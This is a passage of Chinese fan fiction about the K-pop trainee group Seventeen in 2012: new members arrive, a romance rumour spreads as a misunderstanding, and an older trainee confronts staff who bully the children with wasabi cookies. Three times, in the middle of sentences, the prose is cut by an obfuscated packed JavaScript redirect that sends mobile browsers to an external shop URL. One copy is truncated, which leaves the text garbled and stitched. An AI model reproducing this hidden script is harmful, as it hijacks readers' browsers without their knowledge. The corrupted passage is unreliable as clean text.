两个电话,一会儿就能为文俊辉答疑解惑,什么叫两个电话千军万马。 第一波是前面刚见过没多久的崔胜澈,他身边带着的那个可爱的男孩子,应该就是姜里树让他带来的知勋了,文俊辉愣了一下,起身朝两人鞠躬打招呼。他们俩也特别利索的打了招呼落座,李知勋先崔胜澈一步坐到了姜里树空着的左手边,崔胜澈嘟着嘴坐到了李知勋身边, 第二波才是真正的主力军,八个男孩子。像小仓鼠一样的妹妹头少年抢先另一个少年一步跑到了崔胜澈的旁边,被抢先的男孩儿叫了声“顺荣hiong!”看他不为所动就变成了第二个嘟着嘴落座的人。有个看起来格外沉稳的少年坐到了文俊辉身边亲切的打着招呼,剩下的孩子坐在了他们对面。 金珉奎接过了姜里树手里夹肉的夹子和李灿一起接手剩下的烤肉工作。 “今天下午匆匆忙忙的来不及去练习室给你们介绍一下新来的成员,正好胜澈和知勋也在,机会难得。这位是和我一样来自重国的文俊辉,从今天起,就是和我们一起努力的同伴了。”姜里树拍拍文俊辉的后背和大家介绍着他。 “内~前辈们好,我是来自重国深圳的文俊辉,接下来的时间请大家多多指教。”文俊辉起身鞠躬打招呼,该有的礼貌一样没少,重国人独有温润如玉般的气质让孩子们的第一映像非常好。 “帕苏!欢迎!!”崔胜澈带头热烈鼓掌,孩子们也非常给力的用力拍着手。 一时之间,他们的位置在烤肉店成了最热闹的地方,连陌生人也莫名其妙笑着给这些孩子鼓掌。 “俊辉你好,我是和你一样来自重国澳门的姜里树,欢迎你的到来。”姜里树捏捏文俊辉紧张到有些僵硬的肩膀,帮他放松一下再次介绍了一下自己。 “俊尼你好,我是李知勋。”李知勋歪着头从姜里树的身侧探出头,笑眯眯的。 “你好啊俊!我是崔胜澈,和里树同岁,你也可以叫我胜澈哥!”崔胜澈就这么从李知勋的脑袋后面探出头,和文俊辉招着手。 “你好!文俊尼!我是权顺荣!喜欢跳舞的话不要害羞的来找我吧!”权顺荣开心起来眯着眼笑的样子让文俊辉看他更像仓鼠了。 “你好啊~俊尼!我是忙内之一的李灿。”李灿的自我介绍还带着点羞涩的感觉。 “你好啊!文俊尼!我是济州岛来的夫胜宽!我家乡的桔子特别甜,下次回家带给你尝尝哦!不知道为什么一见到你我就特别喜欢你。”夫胜宽的热情发言让文俊辉更加害羞了。 “你好呀俊尼hiong!我是最小的忙内Samuel,欢迎你呀~”来自年龄最小的小不点甜甜的介绍。 “你好啊~俊!我是崔瀚率。”像洋娃娃一样漂亮的崔瀚率腼腆的对文俊辉招手。 “你好俊尼!我是金珉奎!我的手艺很不错哦,有机会做给你尝尝我家的特色料理!”金珉奎停下手里的烤肉,对文俊辉发射出了阳光小狗一样的微笑,让他差点幻视成萨摩耶了。 “你好,俊,我是全圆佑,以后的日子请多多指教。”全圆佑摸了摸鬓角的发丝,扭头看着坐在身边的文俊辉,笑得软糯糯的。 每个孩子都在照顾着从重国来的文俊辉,知道他韩语不是很好,每个人的介绍都吐字清晰缓慢的说出来。 “欢迎!” “欢迎!!!” “欢迎欢迎!!” 或许是新成员的加入让众人看到了距离出道的机会越来越近,或许是烤肉店火热的气氛正好,大家高举饮料,一起欢呼着。 晚上吃的饱饱的崔胜澈摸摸肚子躺在床上,还在回味今天的事和烤肉的味道,突然想到了什么,他睁开眼盯着上铺床板。 ‘里树答应我的炸鸡还没有兑现!’ 7. 7.努那 练习室的热身,是一场沉默而专注的仪式。 空气里最先响起的是老师指导的节拍,伴随着孩子们绵长的呼吸声。随后是关节逐一苏醒的细微声响,从脚踝缓慢的旋转,到膝盖轻柔的屈伸,再到脊椎一节一节如波浪般向上推起。肌肉在静态的伸展中被温和地唤醒,韧带逐渐变得柔韧而富有弹性。只有关节肌肉全部苏醒,身体才能更好的迎接接下来高强度的训练。 镜中映出的不是舞者的身影,而是一具具正在精密校准的躯体,单单是几个基础的热身运动,他们依旧要求自我,整齐划一。每个人额角沁出第一层细密的薄汗,体温悄然升高,心跳渐渐与即将响起的节拍同频——直到身体彻底成为一个准备好了的、空的容器,只等待音乐注入,然后全然盛放。 “很好,继续保持。”站在最前方的慧琳老师心里默念着节拍,眼睛一瞬不瞬的观察着每个孩子,确保他们没有人偷懒的按照要求做出每一个动作。 “哎?!啊!!!” 安静拉伸筋骨的练习室里突然传出一声奶气的惊呼声,是站在姜里树前排的Samuel发出来的。他这个年龄本身就是生长痛的高发阶段,身高生长太快并非骨头直接疼,而是骨骼生长速度远超周围肌肉、韧带等软组织的生长节奏,导致软组织被牵拉,同时骨骼周围的关节、筋膜等部位也会因快速发育产生轻微不适,从而引发疼痛。 眼看着前面的Samuel要摔倒了,姜里树跨步向前手臂稳稳揽住Samuel失衡下坠的腰身,顺势将人带进怀里。他动作利落地坐下,让小孩儿靠在自己身上,手掌已经熟稔地覆上那截疼到紧绷的小腿,力道均匀地按压揉捏起来。 小孩儿像只落水的幼猫一样疼的在哥哥怀里啜泣,紧紧抓着哥哥的衣服,嘴里还不忘说“谢谢hiong…”。 慧琳快步赶到两人身边,蹲下身仔细查看,目光迅速扫过Samuel的腿和姜里树的手腕。“都没伤着吧?”她声音里带着关切,确认两个孩子都没事了,才轻轻松了口气。虽然不是第一次发生了,但她还是忍不住担忧。 这时,其他成员也围拢过来。慢了一步的李灿飞快地跑到墙边,抓起放在角落的瓶装水,又从哥哥们扎堆的缝隙里灵巧地钻进去,一声不响地把水塞到离得最近的文俊辉手里。文俊辉默契地拧开瓶盖,一手接着着Samuel下巴,一手将水瓶小心地递到他嘴边。“慢点喝。”他低声说。 Samuel就着他的手,小口小口地啜着水,急促的呼吸渐渐平缓下来。 本来他们蹦蹦跳跳的时间就长,Samuel的生长痛最近开始不定时突发,好在每次发作时,只要悉心按摩一阵,尖锐的疼痛便能渐渐缓和下来。 一时间,练习室里只听得见Samuel逐渐平缓的抽泣声,和姜里树手下持续而稳定的揉按声。 先前那些热起来的气氛暂时褪去,空气里浮动着一种无声的关切。围在旁边的成员们时不时的问着弟弟‘还好吗’‘好点了吗’,也有静静地看着,偶尔交换一个担忧的眼神的。薄汗还挂在额角,呼吸也渐渐平息,某种比节奏更温暖的东西,悄然填满了镜墙之间的每一寸空气。 李硕珉跟着经纪人nim推门进来时,看到的便是这样一幕。 练习室里异常安静,预想中热火朝天的训练气息并未扑面而来,反而弥漫着一股罕见的、近乎柔软的沉静。成员们全都围在一处,目光都落向中心。他仔细去看,才发现人群中间,一位金色头发的‘努那’?正在帮她怀里的孩子按揉腿部。 “慧琳啊,这是怎么了。”经纪人姐姐推门进来并没有看到平时大家还在做热身训练的样子,现在连带着慧琳也都围在一起。 “啊,允真努那,是Samuel这孩子突发生长痛了,里树在帮他缓解疼痛呢。”慧琳老师听到喊她的声音了才直起腰看到了门口的金允真经纪人,还有她身旁的孩子。 “我们Samuel好些了吗?” 金允真放轻了声音,带着明显的担忧走上前。她俯身,仔细看了看Samuel依然皱着的小脸和泛红的眼眶,又抬眼望向正专注按摩的姜里树。这屋子里的孩子,几乎都是她亲眼看着姜里树和崔胜澈一个个带回来、一天天照顾到现在的。姜里树这个哥哥当得一直让她很放心,几乎没让她多操过心。此刻,看着最小的孩子疼得缩在哥哥怀里掉眼泪,她的心也跟着软软地揪了一下。 Samuel闻声抬起头,睫毛上还湿漉漉地挂着泪珠。他努力眨了眨眼,想把那点水汽眨掉,鼻音有些重地乖乖回答:“嗯…好多了,努那。” 啊,kiyo~金允珍被可爱到了。 “允真努那,你背后是新来的孩子吗?”权顺荣趴在夫胜宽的肩膀上好奇的看着金允真背后的李硕珉。 “对,这是新来的孩子,叫李硕珉,以后会和你们一起训练,大家要好好相处哦。” “内~。” 经纪人离开后,原本围着的孩子们自然地转向了新来的李硕珉,不让他感到被冷落。 “我叫权顺荣!” “我是夫胜宽,和我一起玩吧!” “我是金珉奎!” 七嘴八舌的介绍声热热闹闹地响起,带着少年人特有的直率和好奇。 而李硕珉似乎天生就能接住这份热情,他笑得眼睛弯弯,一边点头一边回应,没几句话就已经和身旁几个年纪相仿的成员你一下我一下地比划着聊开了,气氛很快便活络了起来。 再次让练习室里安静下来是因为李硕珉的一句话,他问夫胜宽。 “那个金色头发的努那是谁啊?” 霎时间所有声音都消失了,闲聊的,介绍自己的…都安静了下来。所有人看看他,又看看那位“金发努那”。 “努那?拿嫩?”姜里树不可置信的指着自己,帮Samuel按摩的手都停了下来。 练习室里先是一静,紧接着—— “噗哈哈哈!!!” 不知是谁先没憋住,一声喷笑像引信般瞬间点燃了整个练习室。紧接着,巨大的爆笑声轰然炸开,毫无阻碍地撞上四面墙镜,在整间练习室里反复回荡、冲撞,几乎要掀翻天花板。 所有人都笑作一团,有的弯下了腰,有的直接躺倒在地板上拍打着地面,连刚才还皱着眉的Samuel都破涕为笑,把脸埋进了旁边“努那”的肩膀里。文俊辉更是笑得靠倒在姜里树的肩膀上扭着脖子,后脑勺对着众人。 “呀——你们”,姜里树直接气笑了,本来听到那句话了没什么,结果全都肆无忌惮的笑了起来。 “呀,你们的牛肉面没有了!”姜里树继续帮Samuel按摩着,嘴里说出了让所有孩子都哀嚎的话,Samuel在他怀里更是皱着小脸喊着“安怼——”。 崔瀚率拉着李硕珉和他解释到,那是来自重国的姜里树,是练习室里的大哥,长头发是因为公司要求他们留长头发。 李硕珉听了解释一脸惊恐,开始对着坐在镜子旁的姜里树猛猛鞠躬,嘴里也不停的道着歉。 “所以只请你们吃炸鸡。” “耶!!!” 欢呼声再次代替之前的爆笑声响彻练习室。Samuel像条案板上挣扎的鱼,姜里树实在摁不住他就放手让他也去跟着其他哥哥们蹦哒了。 一天的练习结束,回宿舍的路上,姜里树走在队伍最后面,李硕珉一脸忐忑的跟着他。 “不走快一点吗?硕珉。” “米亚内…前辈…”李硕珉有些不安,来的第一天就“得罪”了前辈。 “我接受你的道歉”,孩子的不安担忧姜里树都看在眼里,他抬手摸了摸李硕珉的头发,让他安心,和他解释,“也是因为我现在的样子太让人误会了,你也不是第一个认错的,所以没什么的,我很喜欢你活泼的样子哦。” “!亲加?” “嗯,这样很好,这个年纪的孩子都得活泼起来才好啊。”他笑得温柔。 练习室的日常如一日。 热身,把身体一寸寸拉开。练舞、开嗓、学演戏,汗水把地板打得透亮。加练, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205947|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着镜子较劲,累了就靠墙灌口水。 一天结束,带走一身汗,留下满室寂静。 就是在这样的练习节奏中SVT练习室迎来了2012年最后一个孩子,来自中国的姚明明。也同时迎来了,让孩子们看到出道曙光的是由Pledis Entertainment制作,并在Ustream平台定期播出的在线节目,“Seventeen TV”。于本年12月24日放送“Seventeen TV”圣诞特辑。 同时期,因NU''EST出道后资源倾斜、Tempest未获足够关注,2012年下半年出道计划搁置,兄弟团“Tempest”出道计划再次推迟。 休假日的早晨,宿舍一片寂静。 姜里树为孩子们备好早餐,轻轻带上门去了练习室,难得小魔王们今天都在赖床,编舞编曲什么的都没人打扰,至少没人能嘲笑他高音破音了。 他推开门。室内并未开灯,只有走廊里昏暗的灯光穿过半敞的门缝。李知勋就那么独自坐在地板中央,抱着吉他,指尖拨着一段反复打磨的旋律,口中跟着轻哼,那调子他琢磨了很久,还没填词,却是他最偏爱的一首。 脚步声靠近,琴声停止。李知勋没回头,只在姜里树的手即将碰到开关时,轻声说:“别开灯。” 姜里树抬起的手顿了顿,依言放下。他借着那缕微弱的光线,走到李知勋身旁,同样席地坐下,手臂与手臂紧贴。 “知勋。” 没有转头看李知勋,只是轻声叫他,落在这片刻意维持的黑暗里,像怕惊扰了什么。 黑暗中,李知勋的声音传来,带着一种刻意压抑的平静。 “‘Tempest’的出道……又推迟了。” 他说完,深深吸了口气,又缓缓吐出,手指无意识地擦过吉他的琴弦,发出一声极轻的嗡鸣。这嗡鸣声裹挟着他,使他窒息,却又不想让姜里树也担忧,努力保持平静,可说出的话就像这琴声,无力轻颤。推迟再推迟,已然让他不抱任何希望了。 随即他似是想要遮掩什么,试图让语气轻松起来说:“公司现在安排我要暂时跟着你啦…” “!”姜里树猛然转头看向李知勋,李知勋被他这动作惊的一怔,然后更大的惊吓就在下一秒。 “你要加入我们了?!” 姜里树几乎是从地上弹起来的,话音没落,手臂已经抄过李知勋的膝弯和后背,一把将抱着吉他的人捞了起来,是个结结实实的公主抱。动作太猛,李知勋整个人随着那股力道向上颠了一下,吉他都差点脱手。 巨大的错愕浮现在李知勋的脸上,方才那些沉甸甸的悲伤,茫然,失落,复杂什么的情绪像是被这突如其来的腾空感瞬间撞散了,他现在只有一个念头,就是在他的脸彻底烧起来之前把手里的吉他用来和他突然发疯的哥脑袋上来个亲密接触。 “暂时!只是暂时!” 所幸,他忍住了,所以姜里树还好好抱着李知勋站在原地。 “虽然这听起来可能不太合适……但我想说,欢迎。”姜里树的声音在很近的地方响起,带着笑意,也带着一种沉静的确信。 “我已经期待的惦记你很久了,我们未来的李大制作人。”话音落下时,他微微低下头。即便在这片昏暗中,李知勋也能清晰地看见姜里树那双如绿松石般的眼睛,此刻正清晰地映着走廊昏暗的微光,亮得惊人,也温柔得惊人。 只是总有人目前Get不到他哥这对漂亮的招子。 走廊里再次传来脚步声,距离练习室门口越来越近,姜里树抱着李知勋脚下没动,人扭过头去看,李知勋一时之间也没想着下来就窝在姜里树的怀里歪着头去看门口是谁来了。 门被推开。下一秒,那一声堪比杀猪的、破了音的尖叫声猛地炸开。 “啊——————!!!” 那分贝高得离谱,在空旷的走廊里轰然回荡,声控灯从这头“唰”地亮到那头,瞬间将门外呆若木鸡的人和门内姿态诡异的两人,照得无所遁形。 8. 8.恋爱?真的假的? 姜里树是真的惦记了李知勋很久。选拔那天,那是他在公司见到最多人的一次,公司加上社长、工作人员都没那么多人,三百个候选人最终独独选中了李知勋一人,可见他的天赋与能力是多么瞩目。Pledis别的没有,可看人的眼光还是很有水平的。他们从人海里筛出的,从来不只是“练习生”,而是未来能定义团队声音的基石。 就像他们当初从小巷道里找到了正在逗流浪猫的姜里树,让他成为凝聚所有人的无形引力;选中了崔胜澈,即使尚未正式出道,其领袖气质的雏形已初具名气;还有SVT练习室里的每个孩子……每一个被留下的名字,在最初就被预见了某种不可替代的可能。 仅对姜里树而言,这份“惦念”更私人一些。他早就在等李知勋的到来,更甚至是崔胜澈,他有预感,他们会是这张正在缓慢拼凑、注定会闪闪发光的拼图里,成为至关重要的一块。 不过…还有一个问题。Tempest一再被推迟出道计划,Seventeen会不会成为下一个?甚至是让这些孩子连出现在众人面前机会都没有…不,应该不会,金代理之前让他签订预备出道合同的时候格外自信这个出道企划方案能够推出,那么资金从哪里来?…… 姜里树把脸深深埋进掌心,指缝间泄出一声压抑的低吟。 头疼得像要裂开。自从他签下那份合同,他家就像把他单独屏蔽了一样。姜叔,那个从小看着他长大、凡事都能替他兜底的人,电话成了永久的忙音,像人间蒸发了一样打听不到半点消息。家里呢?除了每月准时到账的生活费,老头子和妈妈的电话永远无法接通,甚至是秘书的电话也没放过,老头子也就算了,妈妈为什么也不接他电话,他不是她最爱的小翅膀了吗。自从把“长禾”交给长姐,他们便成了满世界航线图上两个移动的点,唯独绕开了首尔。没有一通电话,也接不到任何一通。如果不是家里没有发公告,他以为他被秘密除名了…… “那边那位金发先生,不要再揉你的头发了,快点过来帮忙组装圣诞树啊。”李知勋披着有些短的红绒斗篷,手里还捏着一截未挂的彩灯链,朝角落扬声。 角落里,装蘑菇的姜里树闻声顿住手,从臂弯里抬起头。一头原本打理得细致的金发,确实已被他自己揉得蓬乱翘起,在暖黄的节日灯光下,像团毛躁的、心事重重的云。大过节的,还是在摄像头之下,偶像包袱不要啦? “hiong你还好吧?”他声音放得轻,带着点试探性的关心,又像是怕惊扰了什么。 李硕珉是被李知勋轻轻推了过来,脚步有点犹豫。自从那天被姜里树那双在昏暗中也亮得惊人的绿眼睛“吓”到之后,他对这位哥哥就多了份小心翼翼的观察。孩子心里还揣着那个挥之不去的念头,自己那天该不会是不小心打扰了两位哥哥的什么重要时刻吧? “没事,这就过去。” 姜里树闻言迅速抬起头,脸上已换上往常那副温和的神情。他留意到李硕珉仍有些谨慎的姿态,心里明了,以为是自己这双在暗处显得过于幽沉的眼睛,那天怕是真把孩子给惊着了。 从那以后,他便有意无意地避开在光线不足的地方与弟弟们对视。此刻,他刻意将视线落在李硕珉肩侧,嘴角勾起一个让人安心的弧度,顺手理了理自己那头被揉乱的金发。 “圣诞树是吗?我来看看吧。” 李硕珉看着眼前和往常一样语气温柔的哥哥,那双漂亮的绿眼睛视线却始终礼貌地落在自己肩膀或身后的某处,心里那点小小的酸涩又冒了出来。 这哥怎么连看都不看自己眼睛了……果然,谈了恋爱的人就是要开始避嫌的吗? 他抿了抿嘴,把这点没由来的失落悄悄咽回去,侧身让开位置,声音闷闷的:“……嗯,在那边。” 姜里树站起身时,听力很好地捕捉到了那声几乎含在喉咙里的、带着点小埋怨的“嗯”。他脚步一顿,终于还是没忍住,转过头,带着些好奇又探究地看了李硕珉一眼。 少年垂着脑袋,手指无意识地卷着卫衣的抽绳,一副明显“心里有话但憋着不说”的样子。他在心里轻轻叹了口气——这孩子,不会是自己琢磨出什么奇怪的剧情了吧。 两步走到李知勋身边帮他整理肩上红斗篷的位置,开口问他:“知勋,你刚刚和硕珉说什么了吗,那孩子看我的眼神怎么那么奇怪啊?”看的他后脖颈发凉,像被什么小动物幽怨地盯着似的。 “嗯?没有啊。”李知勋正对着舞蹈镜调整斗篷的褶皱,闻言转过头,眼里是纯粹的疑惑,“我只是让他去叫你过来。怎么了?”肩膀上的红斗篷终于被姜里树拉正了,他放下手里的彩灯,满意地对着镜子左右转了转。 “我也不知道。”姜里树看着小孩有点小嘚瑟的样子,心里那点无奈忽然变成了想逗他的念头。他冷不丁把下巴搁在了李知勋的头顶,用了点力,像个温柔的秤砣,把对方试图转动的脑袋稳稳“钉”在了原地。 “呀!”李知勋身体晃了晃,发现自己脑袋动不了,只能梗着脖子抗议,“你干嘛!”反应迅速的胳膊肘往后一杵,正中姜里树腰侧。 “噗——!”姜里树结结实实地挨了一下,力道不小,顶得他胸腔里的气猛地一冲,从喉咙里挤出一声短促的闷响。 他下意识松开压着对方脑袋的下巴,捂着被捅的侧腹弯了弯腰,又疼又想笑,干脆捂着腰侧躺在李知勋脚边的地上笑得抽搐。 他俩这一来一往的动静,不远处的李硕珉看了个完完整整。他神色复杂地抿了抿嘴,用几乎只有自己能听见的音量嘟囔了一句:“一点儿都不避讳吗……” 这话正好被挨着他的文俊辉捕捉到了。文俊辉眨了眨眼,习惯性地重复了一遍这个新学的词:“避讳?” 脸上写满了好奇。 “避讳?”避讳什么?站在文俊辉旁边的全圆佑闻声扭头,好奇的看着文俊辉突然蹦出来的新词汇。 “什么?”正盘腿坐在地上,跟一堆圣诞树枝叶“搏斗”的金珉奎抬起头,完全没跟上“上层空间”的对话,一脸茫然地问,“你们在说什么?” “就是知勋哥和里树哥啊。”李硕珉还在自己纠结的思绪里打转,听见有人接话,下意识地抬起手,朝着舞蹈镜的方向指了过去——那里,姜里树躺在地上正捂着侧腹笑,而李知勋正气鼓鼓地瞪着他,眼神时不时的瞥向放在角落的吉他。 “他俩怎么了?” 刚走过来的权顺荣顺着李硕珉的手指看过去,只看到两个哥好像又在进行友好交流。这奇怪什么,没有胜澈哥,里树哥就是知勋哥首位引爆线,没有里树哥还有珉奎呢,于是更加不解地转过头,等待着一个解释。 “他俩谈恋爱一点也不避讳了吗?” “莫?!” “莫拉古?????” “莫?!这事儿问过胜澈哥了吗!?” 呀!全圆佑你小子,说什么呢!# 听力异于常人的姜里树瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“因为……被哥吓到那天,我回练习室的时候,看见哥眼睛很温柔地看着知勋哥……然后,等你转过头来的时候,眼睛里的情绪都还没收起来。” 他顿了顿,声音更小了:“那种眼神……不太一样。所以,我就、就误会了。” 原来,这就是一切误会的源头。 姜里树深吸一口气,试图用最简单直接的方式解释:“眼睛里的高兴,是因为你知勋哥来了。” “为什么知勋哥来了,哥就能那么开心?” 李硕珉眨眨眼,这次是纯粹的、不带八卦色彩的好奇。 姜里树看着他,忽然勾起一个有点神秘、又带着十足笃定的笑,抬手重重拍了拍弟弟的肩膀,留下一个意味深长的比喻:“因为你知勋哥,是个大大的‘宝藏’啊。”谁看见宝藏会不高兴啊。 “宝藏?” 李硕珉更困惑了,思路开始跑偏,“知勋哥……有宝藏?藏在宿舍里吗?” 姜里树被他这直线思维逗得笑出了声,摇摇头,语气里的认真却丝毫未减:“不,你知勋哥他本人,就是那个宝藏。” 这句话,他说得清晰而缓慢,仿佛在陈述一个毋庸置疑的事实。 姜里树捂着脸,从指缝里看着眼前这场鸡飞狗跳的追逐战,内心充满了无力感:‘说你知勋哥是宝藏,不是让你们缠着他要宝藏的啊……’ ‘你们要的那种“宝藏”,和我说的“宝藏”,根本不是一个意思啊!’ 李知勋举着自己的吉他,显然也没舍得真砸,满脸通红地追杀着一边狂笑一边大喊“知勋哥我错了!宝藏哥饶命!”的李硕珉。其他弟弟们不仅不拉架,还围在边上看热闹不嫌事大地起哄。 姜里树叹了口气,感觉这个误会,一时半会儿是解释不清了,所以说谁会是下一个‘葬身’在吉他杀手下的亡魂? 9. 9.“我说,吐出来” “吐出来。” 姜里树面无表情的推门而入,手里的垃圾桶径直举到两个脸皱成一团、眼眶飙泪的孩子面前,声音不高,却带着不容商量的力度。 “我说,吐出来。” 自从那次楼道里碰到夫胜宽被工作人员恶意伤害的事件后,他对环绕在孩子们身边的每一道目光都多了十二分的警惕,他不知道在更多看不到的地方,这些孩子是不是也像夫胜宽一样被伤害着。是他没用,他防住了同期练习生里那些或明或暗的嫉妒与排挤,却差点忘了,公司这动荡的潭深水里,多的是捧高踩低、心思腌臜的货色。不是所有人,都像慧琳老师或允真姐那样的人。 “你们先出去。” 姜里树侧过身,为两个孩子让开位置,声音压得很平,在孩子们面前没多说一个字。他在每个孩子推门进来时,都沉默地靠在门口的墙边守着,可千防万防,总有漏网的缝隙。他防住了明处的刀,却没料到有人会在眼皮子下递来裹着糖衣的针,现在是藏着芥末的饼干,下次会是什么。 门关上。 “……里树,我们只是和孩子们做游戏,这是他们输了的小惩罚……”或许是姜里树此刻周身散发出的、近乎实质的低气压太过骇人,那恶搞的工作人员竟被一时唬住,干笑着试图解释。 话音未落—— “砰——!” 一声巨响猛然炸开,双拳头狠砸在桌面的震颤让整个小单间里的空气都凝固了,所有人悚然一惊。 姜里树双手撑在桌上,指节因为用力而泛白,他缓缓抬起头,目光像淬了冰的刀,直直剐向对面的人,一字一顿,声音压得极低,却带着骇人的力度: “你们在做什么,在对我的孩子们做什么。” 他抓起桌上放在盘子里的芥末饼干,猛地摔到对方面前,饼干碎屑四散飞溅。 “这种‘游戏’,你这么喜欢——你自己怎么不吃?” 他的视线扫过在场每一个工作人员的脸,最终落回主事者身上,声音里的寒意几乎能凝出霜:“用这种方式对待即将出道的孩子们……这到底是‘节目效果’,还是有人把个人情绪带到了工作上?” 话音落下,姜里树周身那骇人的气势骤然一收,从一头狼变成了一只无害的猫,仿佛刚才的震怒只是一场错觉。 他面无表情地拿起桌边一块干净的布,慢条斯理地擦拭着指缝间沾上的饼干碎屑,动作细致而平静。擦干净手,他将布轻轻放回原处,抬眼看向对面脸色已变的工作人员,语气轻描淡写,却字字清晰:“今天的事,还有上次的事。我会一字不落,如实告知韩社长和金代理。” 没有威胁的语气,只是在陈述一个即将发生的事实。而这恰恰是最让人不寒而栗的。 “接下来的游戏环节到此结束。” 姜里树已经度过变声期迈向青年的声音恢复了平日的清晰稳定,不高不低,恰好能让在场所有人都听清。 “孩子们需要开始准备热身训练了,时间有限。”他朝着工作人员的方向,头也没低地微微倾身,行了一个短促而标准的礼,姿态无可挑剔,眼神扫视一圈,语气却疏离得没有一丝温度,“还望各位理解。” 只是通知。 直到那年轻人的身影彻底消失在门外,走廊的脚步声渐行渐远,房间里的空气依然像凝固的石膏。 没有人说话。 也没有人动。 只剩下桌上那盘芥末饼干,和空气里尚未散尽的刺鼻芥末味。 屋外的练习室也陷入一片异常的寂静。 孩子们没有像往常一样玩闹,而是不自觉地依偎在一起,围成一个无声的圈。刚刚经历了芥末饼干折磨的文俊辉和李灿被护在中间,两人的眼眶和鼻尖还泛着红。 当姜里树从小房间推门出来的瞬间,所有目光齐刷刷地聚焦在他身上。文俊辉和李灿看着他,嘴唇动了动,刚忍回去的委屈和惊吓,在看到哥哥的瞬间又涌了上来,眼眶倏地更红了。 他们出来关上门后,房间里那声骇人的巨响,所有人都听见了。 此刻,练习室里没有音乐,没有交谈,只有一种紧绷的、等待的安静,和孩子们望向姜里树时,那些依赖的、惊魂未定的眼神。 “接下来的游戏时间结束,一会儿开始热身训练,我会打电话让慧琳老师提前来上课的。” 一句简简单单、回归日常的训练安排,像一阵熟悉的暖风,奇迹般地驱散了孩子们心头的阴霾。紧绷的肩膀松懈下来,此起彼伏的、带着后怕的呼气声轻轻响起。 姜里树的目光扫过每一张仍有余悸的脸,声音放得更缓,却带着不容置疑的叮嘱:“之后尽量两人以上一起行动。” 他顿了顿,视线格外沉静。 “遇到任何不对劲的事,无论是对人,还是对东西……首先保护好自己。然后,立刻来找我。” “内!” 他没再说什么,带着芥末味的手藏在身后没有用来安抚两个红眼小兔子,放在平时一定会轻柔的摸摸他们的头发,现在只是看着孩子们重新排队开始拉伸的背影。 凡事总有他。 这个念头已经在他心里扎根很久了,不是负担,而是本能。风浪来了,他得是那道堤,防止他们溃散;路暗了,他得是那盏灯,防止他们迷路。只要他还在,这群跌跌撞撞奔向梦想的孩子,就至少有一个地方可以头也不回地向前跑,他可以不是队长,但不能不是他们的哥哥。 他做不好队长…… 自从“芥末饼干”被孩子们集体拉进黑名单,韩成洙社长和金代理都对这次明面上的欺凌事件做出了迅速反应。 涉事工作人员被全部调离,新的‘Seventeen TV’MC是孩子们熟悉依旧的金允真经纪人。金代理对 Seventeen 这个企划寄予期望。因此,在这件事上,他展现出了罕见的、不留情面的强硬。 表面的风波似乎就此平息。 这下总算能安稳一阵子了。自从上次那件事之后,周围的工作人员都变得格外客气,连对孩子们说话的声音都温柔了好几个度。姜里树看着这突如其来的“礼貌”,心里没什么波动,他清楚,这不过是敲打之后暂时的安静罢了,公司暗处的动荡,哪是他发个火就能解决的。 只是,他这么“不敬前辈”居然一点事也没有,就连训斥提点的话语也没有…… 非得当偶像吗?好像做经纪人…也还行? “不进去在门外发什么呆啊?” 后背突然挨了一记不轻不重的巴掌,打断了他的走神。 “…是胜澈啊,没什么。”姜里树收回思绪,转身去看突然出现的崔胜澈,才不会把刚刚想的对他说出来的,总感觉会出事。 崔胜澈没接话,只是狐疑地打量着他——这家伙明明一副心里揣着事的样子,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205949|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上却偏说“没什么”。 一股细微的、说不清是担心还是被排除在外的恼意,悄悄拱了上来。 他们之间已经这么生分了吗……不开心。 ‘Seventeen TV’第一季的结束,在 SVT第一套官方公示照的拍摄现场画上了句号。 快门声响之间,那些曾浸透汗水的日夜、那些关于未来的不确定,仿佛在镜头下定格成了真实可触的形状。孩子们望着摄影机里渐渐清晰的“团队”轮廓,眼中亮起一种前所未有的光——出道的信念,从未如此具体而高涨。 当第二季的镜头再次亮起之前,练习室的门被推开,带来了新的风声。 崔胜澈走了进来,身后跟着包括张道允在内的、更多怀揣梦想的陌生面孔。男孩的队伍壮大了,其中也添了几位女生新成员。 空间似乎瞬间被新鲜的朝气与未知的紧张填满。从这一刻起,不同的轨迹将共同延伸,指向同一个未完成的未来。 第二季的第一集在MC的主持下,新老成员依次站定,面对面站成两列报出自己的名字。声音或沉稳、或青涩,在练习室里整齐地响起,这是面向所有人的、第一次官方的交汇。 站在老成员队伍最末的,是挨着金珉奎的姜里树。 他微微侧着头,看着孩子们依次自我介绍,浅金色的长发在练习室的灯光下泛着柔和的光泽,像一圈自然而温暖的光晕。一米八的身高在一众深色发丝的少年中更是格外显眼,此时正温和地立在孩子们的身旁。 轮到他自我介绍时,新成员们原本克制的目光,或多或少都转为了坦然的好奇与打量,视线落在他身上。 “你们好,我是Seventeen的姜里树,来自重国。” 他微微躬身,声音清晰平稳,带着一种沉静而令人安心的质感。 “接下来的练习生活,请不要吝啬的互相指教吧。”话音落,所有孩子们都非常热情的鼓起掌。 转到另一边为新来的孩子们做自我介绍时,掌声依旧热情地响起,鼓励着每一个略显生涩的声音。 